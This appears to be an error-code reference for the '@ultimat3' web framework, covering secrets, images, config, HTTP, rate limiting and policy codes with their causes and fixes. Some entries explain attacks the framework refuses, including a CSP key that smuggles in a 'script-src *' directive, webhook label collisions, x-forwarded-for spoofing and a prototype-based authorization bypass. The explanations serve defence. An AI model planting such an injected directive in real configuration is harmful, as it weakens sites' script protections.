X_OTLP_PROTOCOL_UNSUPPORTED	the OTLP protocol requested is not OTLP/HTTP JSON	OTEL_EXPORTER_OTLP_PROTOCOL asking for grpc or http/protobuf. This exporter speaks one wire format and no dependency ships a second — refused at construction rather than negotiated down	unset OTEL_EXPORTER_OTLP_PROTOCOL (or set it to http/json) and point OTEL_EXPORTER_OTLP_ENDPOINT at the collector's HTTP receiver, e.g. http://otel-collector:4318
X_TELEMETRY_SAMPLER_ARG_INVALID	the trace sampling ratio is not a number between 0 and 1	OTEL_TRACES_SAMPLER_ARG holding a value outside [0, 1], or one that is not a number. Read at the first span, not at boot — so it warns through the logger and samples every trace rather than killing a process mid-request over a sampling typo. Losing the traces silently is the worse failure; the bill is the loud one	set OTEL_TRACES_SAMPLER_ARG=0.05 — the cause names the spelling it read

Images

One pipeline in @ultimat3/core serves storage, seo and pwa. It decodes PNG, JPEG, WebP and GIF and encodes PNG, JPEG and WebP (DECODABLE_FORMATS / ENCODABLE_FORMATS, As of 2026-10); AVIF and SVG are identified and measured — enough to inline width/height and keep CLS at 0 — but never synthesised. A variant in one of those formats comes from a CDN or an ImageTransformDriver, never from a silent passthrough.

Code	Means	Typical cause	Fix
X_IMAGE_UNSUPPORTED	the built-in image pipeline cannot read or write this format	a request for an AVIF or HEIC variant (both need an OS codec the pinned backend: 'bun' never uses), an SVG or TIFF source, or a colour that is not hex or transparent	await transformImageBytes(bytes, { format: 'png' }) (or 'jpeg', or 'webp'), or pass an ImageTransformDriver that produces the format — meta.format names the one refused
X_IMAGE_DECODE_FAILED	image bytes are malformed, truncated or internally inconsistent	a partial upload, a corrupted file, a header declaring no size, or a header that disagrees with the data that follows — a PNG stream that inflates past what its header's size needs is stopped at that bound	file <path> to confirm the type, then re-export the image and retry
X_IMAGE_TOO_LARGE	image exceeds the pipeline pixel ceiling	a header declaring more than 64 megapixels — usually a decompression bomb, occasionally a real scan. A header declaring NO size (zero, negative, fractional) is X_IMAGE_DECODE_FAILED, not this	downscale the source below the 64-megapixel ceiling before it reaches the pipeline, or route it through an ImageTransformDriver (a CDN or an external encoder). MAX_IMAGE_PIXELS is fixed, not a setting

Config and environment

Code	Means	Typical cause	Fix
X_CONFIG_INVALID	a configuration this process cannot boot on — env or app.config.ts	a field failed its schema, a required field is missing, or two keys that each parse contradict each other (selectMailDriver, selectPurgeDriver), or a declaration whose guarantee this build cannot enforce (defineAuth({ mfa: { required: true } }) — nothing reads it, so believing it would be a false security claim)	x doctor --json and fix the named key; see Configuration
X_ENV_MISSING	required environment variables are missing or invalid	a key absent at boot; validation runs before the server listens	x env check --json, then set the keys it names. There is no --fix: x env declares check and example and no flags of its own (packages/cli/src/cmd-env.ts), so the flagged form dies at the parser with X_CLI_BAD_FLAG
X_ENVIRONMENT_INVALID	ULTIMATE_ENV is not a known environment	a spelling the framework does not use (prod, dev, preview). NODE_ENV is only a fallback and is never policed — CI images legitimately set it to anything	export ULTIMATE_ENV=production — one of development, test, staging, production
X_ENV_EXAMPLE_DRIFT	.env.example does not declare every variable the schema requires	a key added to defineEnv() and not to the committed example, so the next clone boots into X_ENV_MISSING for a variable nobody documented	x env example — the example is a projection of the schema, never a second list
X_BUN_VERSION	Bun is older than the framework floor	the runtime is below the floor — x doctor checks the CONSUMER floor (packages/cli/src/app-root.ts), scripts/setup.ts checks the CONTRIBUTOR floor, which tracks CI's pinned series and is higher	bun upgrade
X_NOT_IN_APP	command must run inside an Ultimate app	no app.config.ts at or above the cwd	x new myapp && cd myapp
X_PORT_IN_USE	the dev port is taken	an unrelated process holds it — usually another project's dev server; the pid and command are named when the OS will say	x dev --port 3001, or kill the named pid if it is yours. The scrape port on a deployed role: set METRICS_PORT=<free port> in this role's environment, one per role on a host; the refusal stays, a scrape target must not move on its own
X_DEV_ALREADY_RUNNING	another x dev already owns this checkout	a live x dev holds .x/ — embedded Postgres is a single-writer data directory, so a second one cannot open it	use the one already running, or stop it: x stop --json
X_DEV_LOCK_UNREADABLE	the dev lock file cannot be read or removed	.x/dev.lock parses as no lock and unlink refused it — a directory left at that path, or a file this user may not delete. Its own code because the alternative was X_DEV_ALREADY_RUNNING naming the READER's own pid as the holder, whose fix: was kill <self>	rm .x/dev.lock, then re-run x dev
X_PORT_INVALID	PORT is not a TCP port number	a platform-injected PORT that is empty, non-numeric or out of range — never defaulted past, because a web role that quietly bound 3000 fails the platform's health probe with nothing in the log that names the cause	docker run -e PORT=3000 <image>
X_ROLE_UNKNOWN	ROLE names something that is not a role	a typo in a compose file, a Helm value or a docker run — one image runs every role, so the typo would otherwise start a process that serves nothing and reports healthy	docker run -e ROLE=web <image> — one of web, sync, worker, scheduler, replicator, migrate

Encrypted secrets

One committed file, secrets.enc.json, sealed with AES-256-GCM under a 32-byte master key read from ULTIMATE_SECRETS_KEY first and the gitignored .secrets.key second. Values are decrypted into the process environment by installSecrets() and read back through the app's own envSchema — a secret is an env var, so it has one declaration, one mask and one reader. See CLI reference for x secrets.

The envelope carries a key id: a domain-separated, truncated SHA-256 of the master key, safe to commit. It is what makes "you used the wrong key" and "this file was edited after it was sealed" two different codes instead of one unexplained decryption failure.

Code	Means	Typical cause	Fix
X_SECRETS_KEY_MISSING	no master key for the encrypted secrets file	ULTIMATE_SECRETS_KEY is unset and .secrets.key does not exist, while a sealed file does. Fatal at boot on purpose — an app that started without its secrets authenticates against nothing and still reports healthy	export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)", or x secrets init in a repo that has no key yet
X_SECRETS_KEY_INVALID	the master key is not 32 bytes of hex	a truncated paste, or a platform secret that carried quotes. An AES-256 key is exactly 64 lowercase hex characters. The same code for a malformed entry of ULTIMATE_SECRETS_RETIRED_KEYS, whose cause names the entry	by where the bad key was READ: from ULTIMATE_SECRETS_KEY, export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)"; from the key file, wc -c <the key file> — 65 is a whole key and its newline, any other count is the file to restore from wherever the team keeps the key (re-exporting reads the same bad file, and a lost key cannot be regenerated); for a retired-ring entry, x secrets edit and correct or remove the entry the cause names in ULTIMATE_SECRETS_RETIRED_KEYS — the variable is a line of secrets.enc.json, written there by x secrets rotate; a platform that also sets it wins, so correct it there too
X_SECRETS_KEY_MISMATCH	the secrets file was sealed with a different master key	a key from another environment, or a x secrets rotate interrupted between its two writes. Both key ids are named in the cause	git checkout -- secrets.enc.json, or point ULTIMATE_SECRETS_KEY at the key whose id the file names
X_SECRETS_FILE_MISSING	the encrypted secrets file does not exist	x secrets show/edit/set/rotate in a repo that never ran init. Never an empty listing — "no secrets" and "no file" are different facts	x secrets init
X_SECRETS_FILE_INVALID	the encrypted secrets file is not a readable envelope	a merge conflict marker, a truncated write, an unknown v or alg, or a header field that is not base64. Nothing reached authentication, so this is not tampering	git checkout -- secrets.enc.json — the file is written only by x secrets, never by hand
X_SECRETS_TAMPERED	the secrets file failed its authentication tag	under a key whose id already matched, the ciphertext or the header bound into it as AAD changed after sealing. GCM refuses rather than returning garbage	git checkout -- secrets.enc.json, then x secrets show --json
X_SECRETS_PLAINTEXT_INVALID	the decrypted secrets are not a flat map of env values	an x secrets edit buffer saved as something other than one flat JSON object, a key that is not an environment variable name, or an empty value. Refused before sealing, so a file that opens always installs	x secrets edit — the buffer is {"SESSION_SECRET": "s3cr3t"}
X_SECRETS_EDITOR_MISSING	no $EDITOR to open the decrypted secrets in	neither VISUAL nor EDITOR is set. No editor is guessed — opening a decrypted file in a surprise program is the last place a default belongs	EDITOR=nano x secrets edit, or write one value without an editor: printf %s "$TOKEN" | x secrets set STRIPE_KEY
X_SECRETS_EDIT_FAILED	the editor exited non-zero, so nothing was resealed	a crash or a deliberate abort. The buffer is discarded and the committed file is untouched	x secrets edit
X_SEAL_KEY_MISSING	no master key to seal or open a value with	seal() / open() ran with ULTIMATE_SECRETS_KEY unset and no .secrets.key under the app root. Never a pass-through — a value that should have been sealed is refused, not stored as plaintext	x secrets init, or where the key already exists export ULTIMATE_SECRETS_KEY="$(cat .secrets.key)"
X_SEAL_KEY_UNKNOWN	a sealed value names a master key this process does not declare	a retired key was dropped (x secrets rotate --drop <keyId>) before the re-seal backfill() finished, or the value was copied from another environment. The cause names the value's key id and lists the declared ids, current first	x secrets edit — put the retired key back in ULTIMATE_SECRETS_RETIRED_KEYS until the re-seal backfill() has finished
X_SEAL_INVALID	a sealed value did not authenticate, or is not a sealed value	the string is not x1.<keyId>.<iv>.<ciphertext> (never sealed, or truncated), or the AES-256-GCM tag rejected it under a key whose id matched: it was sealed for a different purpose, or its bytes changed. AEAD cannot tell those two apart, so the cause names both. Never garbage, never the raw string back	x secrets show --json — confirms the key id in force; a value that failed its tag is unrecoverable and must be re-entered. Never sealed (a column sealed after rows were written): add a new .sealed() column, copy with a backfill(), drop the old one — Entities and migrations
X_WORKSPACE_DEP_UNDECLARED	a workspace imports another workspace its own package.json does not declare	an import added long after the scaffold, or a generator that emitted the import and not the edge. The graph then exists only inside tsc — affected-package detection, bun --filter ordering and blast radius all read manifests, and a missing edge makes each of them silently answer too small a set. Shipped source only: a test file's import is not judged, because packages/* here declares no devDependencies by design and the root's hoist is what resolves them	add the dependency the finding names — it carries the manifest path and the exact line, e.g. "@demo/web": "0.0.0"
X_PACKAGE_DUPLICATED	two copies of one registry-holding framework package (@ultimat3/i18n, @ultimat3/policy, @ultimat3/entity) are installed in one app	a workspace pinning an older range than the root (packages/i18n on ^19.0.0, the root on ^19.1.0), or two resolutions of one version. Each copy is its own module instance with its own registry, so the app registers into one and the CLI reads the other: x i18n check reported X_CATALOG_UNREGISTERED over a defineCatalogs() call that was exactly where its fix said to put it, and the policy step is green over an undeclared grant because isKnownPermission checks nothing while its own copy holds no declaration. Judged by realpath — a workspace symlink to one checkout is one copy	the finding names both copies and the package.json to pin: set every @ultimat3/* to one exact version there, then bun install; two copies of ONE version are collapsed by bun install --force. x i18n check --json and x verify --only policy --json re-check
X_SHOT_BROWSER_MISSING	x shot has no browser to launch	none was named — --browser, PUPPETEER_EXECUTABLE_PATH, CHROME_PATH — and none of the four probed paths (/usr/bin/google-chrome and its siblings) is on disk. Raised before the dev server boots. As of 22.0.0 x shot drives Chrome over raw CDP, with no browser library in the app: it no longer means puppeteer-core is missing	export CHROME_PATH=/usr/bin/google-chrome — or attach to a browser somebody else runs: x shot / --cdp-url wss://cdp.example.com/session/abc
X_SHOT_HOST_REFUSED	x shot was asked to open a host outside the run's allow list	a goto to a host no allowHosts rule matches, refused before Page.navigate is sent. A request the PAGE makes to such a host is not this code — it is paused in the browser (Fetch.requestPaused), failed, and recorded in verdict.json as refused: "host"	x shot /route --allow-hosts cdn.example.com — the app's own host is always allowed
X_SHOT_ELEMENT_MISSING	no element matched the selector before the deadline	a ui.interact step or a waitFor whose selector matched nothing for the whole budget — the markup changed, or the selector was never right. Its twin below is the other question: it matched and could not be acted on	run ui.inspect on the route first and copy a selector it reports with count >= 1
X_SHOT_ELEMENT_UNREADY	the element matched and never became ready to act on	the first match stayed hidden, zero-sized, disabled, covered at its centre by another element, or still moving between two polls. The cause names which	run ui.inspect with the selector and "a11y": true to see what covers or disables it, then act on that element first
X_SHOT_KEY_INVALID	a key chord the browser cannot press	an empty chord, a trailing +, a modifier other than Meta/Control/Alt/Shift (Ctrl is refused), one held twice, or a key that is neither one character nor a named key. Parsed before any key goes down, so no modifier is left held	spell it as modifiers then one key: Meta+K, Control+Enter, Shift+Tab, Escape
X_GH_UNAVAILABLE	the GitHub CLI is not runnable from here	gh is not installed or not on PATH. x pr and x ci shell out to it rather than embedding an HTTP client — no new dependency, and the user's existing auth	gh auth login — install first from https://cli.github.com
X_GH_NOT_AUTHENTICATED	gh holds no credentials for this host	a fresh machine, an expired token, or a GitHub Enterprise host gh was never logged into. Detected from gh's own refusal text, so it is never confused with a network failure	gh auth login
X_GH_COMMAND_FAILED	a gh invocation exited non-zero	the invocation and its exit code are in the cause. gh exits non-zero whenever a GraphQL response carries errors, so a partial answer never reaches the parser	the finding carries the exact gh invocation that failed — run it yourself to see why
X_GH_RESPONSE_INVALID	gh's output is not the shape the command reads	GitHub changed a field, or a query was edited without its schema. The response is parsed, never cast: a null where an id was expected would otherwise become a resolve call against undefined	the finding names the field that did not parse; x pr review --json
X_PR_NOT_FOUND	no pull request for this checkout	x pr with no --pr, on a branch GitHub has no PR for	x pr review --pr <n> --json, or open one first: gh pr create
X_CI_RUN_NOT_FOUND	no workflow run for this branch	x ci on a branch that has never been pushed, whose runs have aged out, or whose --workflow/--event filter matched nothing (the cause names the filter given)	x ci --branch main --json
X_SEAL_RESEAL_PENDING	sealed columns still hold values under a retired master key	x doctor: the app declares .sealed() columns and ULTIMATE_SECRETS_RETIRED_KEYS still declares a retired key — a rotation whose re-seal has not finished. Until it has, a lookup column matches through in (…) over every key and its .unique() is only as strong as one key: one value can be stored once per key	re-seal with a backfill() that rewrites each row (update(id, { <column>: row.<column> }) seals under the current key), then x secrets rotate --drop <keyId>

Schema and validation

Code	Means	Typical cause	Fix
X_VALIDATION_FAILED	value did not match its schema	a parse boundary rejected input	read cause for the failing path; correct the value or widen the schema deliberately
X_SCHEMA_UNSUPPORTED	the active schema provider cannot do this	a Standard Schema implementation without JSON Schema export	drop the configureSchemaProvider() call and use t, the shipped dependency-free builtin provider
X_SCHEMA_DISCRIMINANT_INVALID	a discriminated union member can never be dispatched to	a member of t.discriminatedUnion('<key>', […]) that declares no literal at the discriminant, or one whose tag an earlier member already claims. Thrown where the union is built, not where a value is parsed: a member no tag routes to is wrong for every input, so the first import of the authoring file is the earliest honest place to say so	give the member named in cause a literal discriminant — t.object({ <key>: t.literal('…'), … }) — its own value at that key, or merge the two members into one; t.union(...) if the members share no key
X_SCHEMA_DEFAULT_UNSHAREABLE	a schema default cannot be copied per parse	.default(value) where value holds a function, a symbol or anything else structuredClone refuses. Every parse that omits the field must receive its OWN copy — one shared object meant a handler's mutation became the next request's starting value — so a default that cannot be copied is refused where it is WRITTEN, at the first import of the authoring file, rather than shared and bled	pass a JSON-shaped default (plain object, array, Date, Map, Set), or drop .default() and answer the absent value in the handler
X_SCHEMA_DEFAULT_INVALID	a schema default fails its own schema	.default(value) where value is one the schema itself refuses — t.number.min(5).default(1). An omitted field then parsed to a value the same schema rejects when it is sent, and the published JSON Schema stated a default that violates its own bounds, so it is refused where it is WRITTEN, at the first import of the authoring file	edit the .default(…) named in the stack so its value satisfies the rule quoted in cause, or relax that rule on the schema — then bun test <the authoring file>.test.ts
X_SCHEMA_BOUNDS_INVALID	an array bound no array can satisfy	a t.array(items, { min, max }) whose min or max is not a whole number from 0 up, or whose min is above its max. Thrown where the array is declared, not where a value is parsed: a bound no count satisfies is wrong for every input	t.array(items, { min: 1, max: 20 }) — whole numbers, 0 <= min <= max; omit a bound to leave that side open
X_SCHEMA_SENSITIVE_OUTPUT	a sensitive field is reachable from an output	a schema field marked .sensitive() (writeOnly: sent in, never sent back) is reachable from an action output or a query rows schema, and an output leaves the server	remove .sensitive() from the path named in cause, or drop the field from the output schema, then: x verify
X_SCHEMA_ISSUE_CAP_INVALID	a validation issue cap no list can meet	validate()/validateAsync() was passed a maxIssues that is not a whole number from 1 up	validate(schema, value, { maxIssues: 100 }) — or omit maxIssues for the default MAX_ISSUES

HTTP

Code	Means	Typical cause	Fix
X_ROUTE_NOT_FOUND	no route matches this request	path typo, or the route was never generated. Under /api/ no route file applies: every path there is an action or a query defineApi() mounts	x routes --json, then x g route <path> — under /api/, x routes --json alone: call an endpoint it lists
X_METHOD_NOT_ALLOWED	route exists but not for this method	GET against an action endpoint	call it with the method in cause, or add that method
X_PATH_INVALID	a path segment is not valid percent-encoding	a hand-built URL, or a value concatenated into a path instead of run through encodeURIComponent — %ZZ, a lone %, a truncated %A. Answers 400: the client wrote the path, so the client is who can fix it, and the request never reaches a handler	send the segment percent-encoded — encodeURIComponent(value); a literal % is %25
X_ROUTE_CONFLICT	two routes claim the same path	a copied route file	x routes --json, then remove or rename one
X_BODY_INVALID	request body failed its schema	a plain runtime.ts route declaring meta.input was sent the wrong shape — an action or query answers X_INPUT_INVALID instead	x routes --surface api --json to find the route, then send a body its meta.input schema accepts
X_UNAUTHENTICATED	no authenticated actor for this request	the two things that produce an anonymous actor where one is needed: the request carried no __Host-x_session cookie, or it carried one nothing resolved. authenticate() answers the anonymous actor for a missing cookie rather than throwing, which is why the failure surfaces one layer later, at the surface that needed the actor. Also the code for an oauth identity a local account already holds — @ultimat3/auth owns it, @ultimat3/http only borrows it	send the __Host-x_session cookie with this request, and resolve it once at the boundary: authenticate(auth, readSessionCookie(request, auth.sessions.policy))
X_FORBIDDEN	policy denied this actor	the actor exists but the policy said no. A remote caller — a production problem document, an app's MCP tool result — is given the error's callerFix instead: ask the account owner or an administrator for the permission (As of 22.10)	x policy explain <path> --json
X_RATE_LIMITED	rate limit exhausted for this key	bucket empty. One request spends a LIST of keys — the caller's, then the tenant's when rateLimit.tenantBucket is declared — and stops at the first refusal, so meta.key names which one	retry after Retry-After, or raise the bucket: configureHttp({ rateLimit: { buckets } }) at module scope in a file under apps/*/
X_RATE_LIMIT_NOT_SHARED	the app declared a fleet-wide rate limit and the store keeps its counters per process	rateLimit.scope: 'shared' against memoryRateLimitStore(), whose scope is 'process'. assertRateLimitScope compares the two inside httpPipeline, before the socket opens — the outcome it PREVENTS is N replicas each enforcing the full bucket, so a declared limit: 5 costs 5 × N, silently. Also raised when enabled: false sits under scope: 'shared': a fleet-wide limit switched off is a claim with nothing behind it	install a shared store — httpServer({ routes, rateLimitStore: postgresRateLimitStore({ executor }) }) — or drop to scope: 'process' and terminate the limit at a shared proxy instead
X_RATE_LIMIT_BUCKET_CONFLICT	one bucket has two declarations that disagree	an action's rateLimit and a rateLimit.buckets.<name> entry passed to configureHttp() name different numbers, or two routes claim one bucket name. Refused at httpServer/httpPipeline, before the socket opens — picking a winner leaves the loser a number someone reads and nothing applies. An identical restatement passes	one edit, not a choice: delete rateLimit.buckets.<name> from the app's configureHttp() call. The route is authoritative because it sits beside the handler and is what the OpenAPI operation publishes, so a config entry duplicating it is the copy that goes stale — the cause says so, and says which numbers came from where
X_RATE_LIMIT_BUCKET_UNBOUND	the installed limiter does not hold a bucket a route declares	a limiter passed through PipelineDeps.limiter was built by the app from a config that never saw the routes, so every route-declared limit silently reverted to default — measured before the fix: 21 of 21 requests allowed against a route declaring 5, with ratelimit-limit: 120 on the wire. Refused rather than rebound, because a RateLimiter is opaque and "binding" it would mean discarding the caller's limiter and its store. An absent bucket table is refused exactly as a wrong one is: what cannot be shown to hold is not assumed to hold	pass the store and let the pipeline build the limiter — httpServer({ routes, rateLimitStore }) — so the bucket table is the one the routes registered
X_RATE_LIMIT_SCOPE_UNSET	the deployment has not said where the rate limiter keeps its counters	an enabled rateLimit with no scope, at defineHttpConfig. Reachable only from an embedder that builds its own config: scope is boot-owned, so configureHttp() type-refuses it and a process booted by x dev or apps/web/server.ts DERIVES it from the store it installed. scope used to default to 'process', so login: { limit: 5 } against the 3 web replicas this repo's own chart ships enforced 15 per window, with a green x verify and nothing anywhere to read. assertRateLimitScope only ever fired for an app that said 'shared', so the silent case was exactly the one nobody declared. One process is still a legal answer; it is no longer an assumed one	defineHttpConfig({ rateLimit: { scope: 'process' } }) if this app runs as ONE replica, or scope: 'shared' plus httpServer({ routes, rateLimitStore: postgresRateLimitStore({ executor }) }) for a fleet-wide limit
X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN	the tenant allowance names a bucket nothing declares	rateLimit.tenantBucket: 'tenant' with no rateLimit.buckets.tenant beside it. Refused at defineHttpConfig, before the socket opens, and not on the first request: bucketFor resolves an unknown name to default, so a whole tenant's cap written as 5,000 would silently be the 120-burst default — looser than the declaration and visible nowhere. The cause lists every bucket name that IS declared	declare the bucket beside the name — configureHttp({ rateLimit: { tenantBucket: '<name>', buckets: { '<name>': { capacity: 5000, refillPerSecond: 100 } } } }) — or drop tenantBucket to leave this app with no per-tenant allowance
X_RATE_LIMIT_INVALID	a declared rate limit computes to numbers the limiter cannot run on	a { limit, windowMs } pair toBucket cannot convert: limit below 1 refuses the first caller, which is a policy's job and never a rate limit's, and windowMs: 0 or { limit: MAX_VALUE, windowMs: 1 } compute an infinite refill — a bucket that never empties. Raised in @ultimat3/http, which owns Bucket and the maths, so an action's and a query's rateLimit: are refused by one check and not two	edit the rateLimit: on the declaration cause names to a whole allowance over a real window — { limit: 5, windowMs: 600_000 } for five per ten minutes — or delete it to keep the default bucket
X_RATE_LIMIT_STORE_UNAVAILABLE	the shared rate-limit store did not answer, so nothing decided	the PgExecutor handed to postgresRateLimitStore returned no row for a statement whose returning clause always produces one — a swallowed driver error, a pooler that dropped the statement, or an executor that maps returning away. Raised rather than defaulted: a limiter that cannot read its bucket has no safe assumption, and guessing allowed hands out the fleet-wide budget to every replica at once	psql "$DATABASE_URL" -c "select * from x_rate_limit limit 1" — then confirm the PgExecutor passed to postgresRateLimitStore returns the rows of returning
X_TRUST_PROXY_UNSET	proxy headers are trusted without saying how many proxies are in front	trustProxy: true with no trustedProxyHops. The leftmost x-forwarded-for entry is whatever the client typed, so without a hop count there is no way to tell the proxy's entry from the caller's — and every per-ip limit and lockout is then keyed on an address the caller chooses. Asked at defineHttpConfig in the same shape as X_RATE_LIMIT_NOT_SHARED, because only the app knows its own topology. Both keys are boot-owned and configureHttp() type-refuses them: a framework-booted process reads the hop count from the ENVIRONMENT, because one image runs behind an ingress in one cluster and behind nothing on a laptop	set TRUSTED_PROXY_HOPS in the deployment environment to the number of proxies that append to x-forwarded-for — 1 for a single ingress or ALB, 2 for a CDN in front of one — and leave it unset for a process reached directly (trustedHopsFromEnv, packages/cli/src/role-start.ts). An embedder calling defineHttpConfig itself passes { trustProxy: true, trustedProxyHops: 1 }
X_OVERLOADED	in-flight requests are at the configured ceiling	more concurrent requests than maxInflight (1,000). Shed before any work — no route match, no auth, no body, no query — because the alternative is not "serve everyone" but "serve nobody": every request queues behind the same pool, p99 walks off the chart and client retries multiply the load. @ultimat3/realtime's AcceptBudget is the same decision for sockets. Classified retry-after, and the response carries the header; also thrown by @ultimat3/auth's KDF gate, which refuses a password hash when 8 are running and 64 are queued — each argon2id arena is ~19 MiB, so the caps bound memory the per-IP limiters cannot	retry after the Retry-After header; to serve more at once call configureHttp({ maxInflight: 2000 }) at module scope in a file under apps/*/, and add replicas to match. For the KDF half, installKdfGate({ maxConcurrent, maxQueued }) from @ultimat3/auth/adapter, in apps/web/runtime.ts
X_CSRF_BLOCKED	an unsafe request that did not prove same-origin	a state-changing request a browser sent — carrying its ambient session cookie, or anonymously (a forged sign-in) — whose Origin is not one this app allows. Never a 401: who is calling was never the question. An anonymous request carrying neither Origin nor sec-fetch-site is not judged	from a loopback client, the curl -H 'sec-fetch-site: same-origin' line it prints, with the request's own origin and path. Otherwise call it with an Authorization: Bearer token instead of the session cookie, add the calling origin to configureHttp({ cors: { origins } }), or configureHttp({ csrf: { mode: 'off' } }) if this app has no cookie session at all
X_WEBHOOK_SIGNATURE_INVALID	the inbound webhook is not signed by the holder of this secret	four conditions, one code: no readable x-ultimate-webhook-signature, an id or topic header outside 1–200 characters or carrying a : or a control character, a mac that does not match the bytes that arrived, or a secret the two sides disagree about. The header check is refused before the mac is taken — the signed string is v1:<t>:<id>:<topic>:<body>, so id evt:01HZ with topic orders.paid and id evt with topic 01HZ:orders.paid build the SAME bytes, one mac authenticating two differently-labelled deliveries. 401 and never 400: the request is well formed and carried a CREDENTIAL, so what failed is authentication. Never 403 either, which means an authenticated caller was refused, and there is none here. Does not trigger signInRedirect, which keys on X_UNAUTHENTICATED alone — a sender is not a browser and has no session to go get. cause names only what the framework chose: never the signature, never the secret, never the body	sign the delivery with the secret this endpoint was registered under, or re-read the secret from your sender dashboard and pass it as verifyWebhookSignature(request, { secret })
X_WEBHOOK_SIGNATURE_STALE	the inbound webhook is signed correctly and is too old to accept	the mac verified and the timestamp sits further than toleranceMs (default 300,000 ms) from this clock — a sender's clock, or a delivery replayed off a capture. The mac is checked before the window, deliberately, so this code always means "authentic and old" and never "unreadable and old". Both directions of skew count: a sender running ahead is the same replay window pointed the other way, and accepting the future half doubles it. Same 401 as above — the credential is a timestamped one and this is its expiry half	sync the sending host clock with NTP, or widen the window with verifyWebhookSignature(request, { secret, toleranceMs: 600_000 }) if the sender queues deliveries for longer than that
X_BUILD_SKEW	client build id does not match the server build id	a tab open across an incompatible deploy	reload; the SW fetches the new build manifest. See PWA and offline
X_SERVER_NOT_STARTED	server handle used before start()	reading url() too early in a test	await httpServer({ … }).start() first
X_PIPELINE_NO_RESPONSE	a pipeline stage produced no response	a middleware returned undefined	return a Response from the stage or from the handler
X_PIPELINE_FINALIZE_FAILED	a finalize stage threw instead of finishing the response	the response cannot take the headers the pipeline puts on it — a Response.redirect(), or a frozen or proxied Response a handler returned. handle() answers this 500 rather than rejecting, and the cause names the stage	return a Response built here — jsonResponse(), textResponse(), html() or redirect() from @ultimat3/http
X_NO_REQUEST	the inbound request is not in scope here	useRequestCookie() / setRedirect() called from a job, a task or a module body	read it inside a route handler, an action or a page; a job gets the value from its payload
X_ERROR_STATUS_INVALID	an error code cannot be mapped to that status	registerErrorStatus() given a framework-owned code, a status outside 100–599, or a second, different status for one code	x errors list --json, then map a code this app owns to a status the framework does not already hold
X_PROBLEM_META_INVALID	a problem document cannot carry that meta declaration	registerProblemMeta() given a framework-owned code (its meta is operator-only — the body excerpt bodyInvalid keeps there, the limiter's key), a key that is not one (issues already rides at the document's top level; __proto__), an empty list, or a second, different list for one code	registerProblemMeta({ X_YOUR_CODE: ['sessionId'] }) with the keys your own error puts in meta, beside its registerErrorStatus() call — both are needed, because a code with no status is an unclassified 5xx whose meta is blanked with its cause
X_CORS_CONFIG_INVALID	the cors config can never produce a working response	cors.origins contains '*' while cors.credentials is true — a pair no browser accepts, which used to resolve to no CORS headers at all rather than an error — or contains 'null', the origin every sandboxed iframe sends, which URL.parse('localhost:3000').origin produces	call configureHttp({ cors: { credentials: false } }) at module scope in a file under apps/*/, or replace origins: ['*'] with the exact origins allowed to call this app; for 'null', list the scheme: configureHttp({ cors: { origins: ['http://localhost:3000'] } })
X_CSP_DIRECTIVE_INVALID	a csp extension would emit something other than the directive it names	a security.csp.extend key that is not a CSP directive token, or a source carrying one of the header's own separators — { 'x; script-src *': [] } is not one badly named directive, it is a second directive nobody declared, widening the one the framework locks down hardest. Refused at defineHttpConfig, because there is no encoding for a CSP directive and escaping it at emission time is not a repair	in the configureHttp({ security: { csp: { extend } } }) call write one entry per directive, each source its own array element — a directive name is [a-z][a-z0-9-]*, and no source may contain a space, a comma or a semicolon
X_BEARER_MOUNT_INVALID	a bearer mount declaration cannot be served as written	defineApi({ http: { mounts } }) named a primitive nothing registered, or a prefix that would shadow a framework namespace	fix the mount named in the cause: a prefix like '/v1' (not /api or /_x), and a scopes map naming only registered actions and queries — x routes --json lists them
X_RATE_LIMIT_STORE_TIMEOUT	the shared rate-limit store did not answer inside its own deadline	the database the shared rate-limit store counts in did not answer a take or peek within postgresRateLimitStore deadlineMs (250 ms by default), so this pod decided that request from its own memory	x doctor --json — names the database binding this pod cannot reach; a database that is slow rather than gone takes postgresRateLimitStore({ executor, deadlineMs }) raised in the boot that builds it
X_EXERCISE_REQUEST_INVALID	an exercise entry's request is not one a browser could send	a request: in apps/web/exercise.ts names a cookie outside the token set, puts a Cookie header beside cookies, or a header Headers refuses	defineExercise({ <name>: { request: { cookies: { <token>: '<value>' }, headers: { '<x-name>': '<value>' } } } }) — in apps/web/exercise.ts
X_BODY_TOO_LARGE	request body over the transport ceiling	the request declares or streams more bytes than http.maxRequestBodyBytes, the most this process reads for any route; a signed upload bigger than that cannot be accepted in one request	send it in parts (storage signPart/completeUpload for an upload), or raise the ceiling: configureHttp({ maxRequestBodyBytes: <bytes> }) in the app's http.ts

Policy and authz

A denial is X_FORBIDDEN, above — @ultimat3/policy owns it and every surface adapter throws it, so there is one code for "the policy said no" wherever it was decided.

Code	Means	Typical cause	Fix
X_POLICY_MISSING	an action was declared without a policy	a new action shipped with no policy:	add policy: can('<resource>:<verb>'), or allow('public') to say so explicitly
X_POLICY_CLAUSE_EMPTY	a policy combinator was built with no clauses	and() answered allowed and admitsAnonymous(and()) agreed, so policy: and(...caps.map(can)) over a list that filtered to empty admitted an anonymous caller on all four surfaces — and because meta.auth derives from admitsAnonymous, http did not 401 first. The label rendered as and(), so there was no diagnostic. or() fails closed but denies with no clause allowed this actor, a reason naming no clause. Both are refused where they are written, the allowHosts: [] precedent	allow('public') is the spelling for "no clauses required"; deny('<reason>') is the one that carries a reason
X_PERMISSION_UNKNOWN	permission string is not in the permission set	typo, or a permission never declared	add it to definePermissions([…])
X_POLICY_SURFACE_UNKNOWN	enforce() was handed a surface no adapter answers to	enforce(surface, policy, args) called with a value outside 'http' | 'live' | 'job' | 'mcp' — a config-driven table, a surface name off the wire, or a JS host, none of which the type reached. Refused rather than dispatched because the adapter table is an object literal and so inherits Object.prototype: adapters['valueOf'] answered a FUNCTION, enforce('valueOf', …) called it with the table as its receiver, and the truthy return was the adapter table typed as a SurfaceDenial — an authz dispatch that failed CLOSED with a denial carrying no code and no reason	pass one of http, live, job, mcp — enforce('http', policy, args) — or add the adapter for the new surface in packages/policy/src/surfaces.ts, the one place a fifth may be declared
X_ROLE_REDEFINED	two modules define the same role differently	one role name declared twice with different grants — a merged feature branch, or a role copied into a second module. Whichever module imported last would otherwise decide what the role can do, and the losing definition is still on disk for the next reader to trust. Both declaration sites are named, because which two is the only thing the author does not already know	x policy list --json — then keep ONE definition of the role cause names: rename the second, or fold its grants into the first
